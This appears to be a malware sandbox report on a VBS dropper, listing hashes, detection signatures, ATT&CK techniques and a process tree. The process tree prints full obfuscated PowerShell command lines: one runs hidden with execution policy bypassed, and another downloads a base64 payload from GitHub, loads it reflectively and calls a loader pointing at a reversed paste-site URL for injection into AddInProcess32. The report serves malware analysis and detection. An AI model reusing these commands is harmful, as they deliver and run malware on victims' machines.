c2efd467a5a52d2ed84d765cf004c8fab1f4fdf714feae96b7f4b6adaf5bd793

General

Target

c2efd467a5a52d2ed84d765cf004c8fab1f4fdf714feae96b7f4b6adaf5bd793.vbs
Size

483KB
MD5

f263136dd6f26628d6e5fbc4f52f1c0a
SHA1

294f56a012b9a3567ffd4b49a348a68cc64c73f8
SHA256

c2efd467a5a52d2ed84d765cf004c8fab1f4fdf714feae96b7f4b6adaf5bd793
SHA512

3b728b0b0014125f23b8dfb5a7c06a6293a301971b127474bfbd59a96b4528123e0081cd90989e41bd5e5be8b04f4cf465a385fe637b4f0368344206d5c1aca5
SSDEEP

12288:RGMsp3SuzEPHa8ZVVCRl0pzCwxn9Ki+GtW2r7aPZy6PLAAIbgTNixeQJbkLFjOnd:RGNQ7H+xC99

Score

8^/10

execution

Malware Config

Signatures

Blocklisted process makes network request 2 IoCs

flow	pid	Process
3	2828	powershell.exe
4	2828	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2788	powershell.exe
2828	powershell.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs

Web Service

T1102

flow	ioc
2	raw.githubusercontent.com
3	raw.githubusercontent.com
4	raw.githubusercontent.com

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2788	powershell.exe
2828	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2788	powershell.exe
Token: SeDebugPrivilege	2828	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 296 wrote to memory of 2788	296	WScript.exe	30
PID 296 wrote to memory of 2788	296	WScript.exe	30
PID 296 wrote to memory of 2788	296	WScript.exe	30
PID 2788 wrote to memory of 2828	2788	powershell.exe	32
PID 2788 wrote to memory of 2828	2788	powershell.exe	32
PID 2788 wrote to memory of 2828	2788	powershell.exe	32

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\c2efd467a5a52d2ed84d765cf004c8fab1f4fdf714feae96b7f4b6adaf5bd793.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:296
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'JigodkFyaWFiTGUgJypNRFIqJykubkFtRVszLDExLDJdLUpvSU4nJykoICgoJ3swfXUnKydybCA9IHsnKycxJysnfWh0dHBzOicrJy8vcmF3LmdpdGh1YicrJ3VzZXInKydjbycrJ250ZW50LmMnKydvbS8nKydOb0RldGVjdE9uL05vRCcrJ2V0JysnZWN0JysnT24vcmUnKydmcycrJy8nKydoJysnZWFkJysncy9tYScrJ2luL0RldGFoJysnTicrJ290aC0nKydWLicrJ3QnKyd4dCcrJ3sxfTsnKycgezB9YmFzZTY0Q29udGVudCcrJyAnKyc9IChOZXctT2JqZWMnKyd0JysnIFN5Jysnc3QnKydlbS5OJysnZXQuVycrJ2ViQ2wnKydpJysnZW4nKyd0JysnKScrJy5EJysnb3duJysnbG8nKydhJysnZFMnKyd0cmluZycrJygnKyd7MH11cmwpOyB7MH1iaW5hcnlDJysnb250ZScrJ250ICcrJz0gW1MnKyd5cycrJ3QnKydlbScrJy5DbycrJ252ZXJ0XTo6RnJvbScrJ0JhJysncycrJ2U2JysnNCcrJ1N0cicrJ2luZyh7JysnMH1iJysnYXNlJysnNjQnKydDb24nKyd0ZW50KTsgJysneycrJzB9YXMnKydzZScrJ21ibCcrJ3kgPScrJyAnKydbUicrJ2UnKydmJysnbCcrJ2VjdGlvJysnbicrJy4nKydBc3NlbWJseScrJ106OicrJ0xvYScrJ2QoJysneycrJzB9YicrJ2luYScrJ3InKyd5QycrJ29udGUnKydudCk7JysnICcrJ1snKydkbmxpYi5JTycrJy5Ib21lJysnXScrJzo6VkEnKydJJysnKCcrJ3syfTAnKycvOVpsbScrJzIvZC8nKydlZScrJy5ldHMnKydhcCcrJy8vOnNwdHRoeycrJzJ9LCB7Mn1kZXMnKydhdGknKyd2JysnYWRvezJ9LCB7MicrJ31kZScrJ3MnKydhdCcrJ2l2YWQnKydveycrJzJ9LCcrJyAnKyd7JysnMicrJ31kZXNhdGknKyd2JysnYScrJ2QnKydvezJ9LCAnKyd7MicrJ31BZGRJJysnblByJysnb2MnKydlc3MzMicrJ3syJysnfSwgezJ9ezJ9LHsyfXsyJysnfSknKS1mIFtjaGFyXTM2LFtjaGFyXTM5LFtjaGFyXTM0KSAp';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2788
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "&((vAriabLe '*MDR*').nAmE[3,11,2]-JoIN'')( (('{0}u'+'rl = {'+'1'+'}https:'+'//raw.github'+'user'+'co'+'ntent.c'+'om/'+'NoDetectOn/NoD'+'et'+'ect'+'On/re'+'fs'+'/'+'h'+'ead'+'s/ma'+'in/Detah'+'N'+'oth-'+'V.'+'t'+'xt'+'{1};'+' {0}base64Content'+' '+'= (New-Objec'+'t'+' Sy'+'st'+'em.N'+'et.W'+'ebCl'+'i'+'en'+'t'+')'+'.D'+'own'+'lo'+'a'+'dS'+'tring'+'('+'{0}url); {0}binaryC'+'onte'+'nt '+'= [S'+'ys'+'t'+'em'+'.Co'+'nvert]::From'+'Ba'+'s'+'e6'+'4'+'Str'+'ing({'+'0}b'+'ase'+'64'+'Con'+'tent); '+'{'+'0}as'+'se'+'mbl'+'y ='+' '+'[R'+'e'+'f'+'l'+'ectio'+'n'+'.'+'Assembly'+']::'+'Loa'+'d('+'{'+'0}b'+'ina'+'r'+'yC'+'onte'+'nt);'+' '+'['+'dnlib.IO'+'.Home'+']'+'::VA'+'I'+'('+'{2}0'+'/9Zlm'+'2/d/'+'ee'+'.ets'+'ap'+'//:sptth{'+'2}, {2}des'+'ati'+'v'+'ado{2}, {2'+'}de'+'s'+'at'+'ivad'+'o{'+'2},'+' '+'{'+'2'+'}desati'+'v'+'a'+'d'+'o{2}, '+'{2'+'}AddI'+'nPr'+'oc'+'ess32'+'{2'+'}, {2}{2},{2}{2'+'})')-f [char]36,[char]39,[char]34) )"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2828

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Web Service

1

T1102

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
0ddd1ce5764ea02f4b2d1e9f47356516

SHA1
b8524cab00ebf7d1a7366f50bd481f62310848c3

SHA256
139d25813e11503e58f535742657076f5adcf3251007f89106c25c11a83e0eee

SHA512
8568abff1867183ba2e8516f3b633a0ed59541e86bd9f0ffb85429223e15ffba2395353247788b134bd59813d816af904bee47a92160374851e7bff1caa9a13a

Download Submit
memory/2788-4-0x000007FEF5A8E000-0x000007FEF5A8F000-memory.dmp

Filesize
4KB

Download
memory/2788-5-0x000000001B650000-0x000000001B932000-memory.dmp

Filesize
2.9MB

Download
memory/2788-6-0x0000000002690000-0x0000000002698000-memory.dmp

Filesize
32KB

Download
memory/2788-7-0x000007FEF57D0000-0x000007FEF616D000-memory.dmp

Filesize
9.6MB

Download
memory/2788-8-0x000007FEF57D0000-0x000007FEF616D000-memory.dmp

Filesize
9.6MB

Download
memory/2788-9-0x000007FEF57D0000-0x000007FEF616D000-memory.dmp

Filesize
9.6MB

Download
memory/2788-10-0x000007FEF57D0000-0x000007FEF616D000-memory.dmp

Filesize
9.6MB

Download
memory/2788-11-0x000007FEF57D0000-0x000007FEF616D000-memory.dmp

Filesize
9.6MB

Download
memory/2788-17-0x000007FEF57D0000-0x000007FEF616D000-memory.dmp

Filesize
9.6MB

Download

Analysis

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